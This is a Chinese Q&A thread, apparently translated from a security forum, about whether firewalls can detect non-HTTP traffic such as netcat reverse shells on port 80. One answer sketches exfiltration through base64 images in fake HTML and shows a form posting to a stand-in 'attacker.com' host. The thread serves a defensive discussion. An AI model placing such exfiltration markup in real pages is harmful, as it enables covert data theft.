使用端口 80 检测非 HTTP 数据包

信息安全 网络 防火墙 身份证 侧信道
2021-08-22 17:51:04

我们目前正在我们的防火墙上进行端口白名单,效果很好,但这当然不会阻止侧通道的实施或将这些端口误用于其他目的。例如,netcat当外部侦听器正在侦听端口 80 时,攻击者仍然可以初始化反向连接会话。

有没有办法分析每个数据包的有效负载,以确保它使用通常分配给目标端口的协议?

这当然只是一个示例,我知道将有效负载隐藏在看似正确设计的有效负载中的可能性。这一切都是为了让坏人更难受。

4个回答

IDS 和几个深度检测防火墙(有时称为 NGFW 或 UTM)通常可以检测流量是否为 HTTP。此外,前面的 HTTP 代理只会阻止任何不正确的 HTTP。

但请注意,可以构建一个反向 shell,其中流量看起来像 HTTP,所以这个过滤只会有一点帮助。

攻击者可以很容易地模仿 HTTP 流量,所以我怀疑任何 IDS/IPS 会阻止一个开发良好的 shell 模仿 HTTP 请求来窃取数据。<img src="data:image/png;base64,iVBORw0KG…8bg5CYII=">创建一个虚假的 HTML 页面、嵌入图像并将流量放入其中非常容易。

无损压缩(如 PNG)将允许向内部客户端发送任何需要的数据,并且可以使用<form action="http://attacker.com/submit.pl" method="post" enctype="multipart/form-data">.

高级 IPS/IDS 可以帮助您。但是有一些完全为 Web 定制的防火墙(HTTP/HTTPS)。

它们被称为 WAF,Web 应用程序防火墙。

具有适当配置的良好 WAF 可以防止许多攻击,例如您正在谈论的攻击。

这当然只是一个示例,我知道将有效负载隐藏在看似正确设计的有效负载中的可能性。这一切都是为了让坏人更难受。

这不仅仅是“可能”。这简单。事实上,在 HTML5 下,这简直是微不足道的。

使用 WebSockets,类似 HTTP 的连接可以在客户端 Javascript 和服务器端 Web 应用程序之间传输任意内容。这是标准的一个明确的设计目标,而不是一个愉快的意外。虽然您可以阻止 WebSockets,但这很可能会破坏现实世界的 webapps。更糟糕的是,如果攻击者的站点是通过 HTTPS 提供的(这也很容易),那么您基本上无法阻止 WSS,因为这将要求您执行 TLS 旨在防止的那种主动中间人攻击。

您可以颁发自己的根证书,将它们安装在您的所有客户端机器上,并以这种方式安装 MitM。但是现在你正在和你的用户玩墙和梯子通过破坏 WebSockets,您可以激励他们找到绕过您的系统的方法。

问题在于 HTTP 不是“安全”或受限制的协议。它旨在促进 HTML 文档的共享。它并非旨在阻止与文档共享无关的用途。因此,在实践中,它可以以多种方式被使用和滥用,避免这种情况在病态上是困难的。

所以,你可以做什么?好吧,这首先取决于您要做什么。

如果你(比如说)是一所大学,并且你试图阻止学生消耗大量带宽玩网络游戏、非法下载东西等,那么跟踪他们的带宽使用情况并阻止前 N%(基于现实的 N取决于您的网络容量)。

如果您是一家企业,并且您正试图阻止某些类型的恶意软件打电话回家,那么除了您正在执行的任何类型的非 HTTP 阻止之外,您可能应该专注于对您的用户进行有关恶意软件的教育。

如果您只是因为想不出允许它的充分理由而阻止非 HTTP,那么您应该问问自己您的威胁模型是什么。这种阻塞将缓解哪些攻击?哪些合法用途会停止工作?该政策是否可能会惹恼您的用户,以至于他们试图规避它?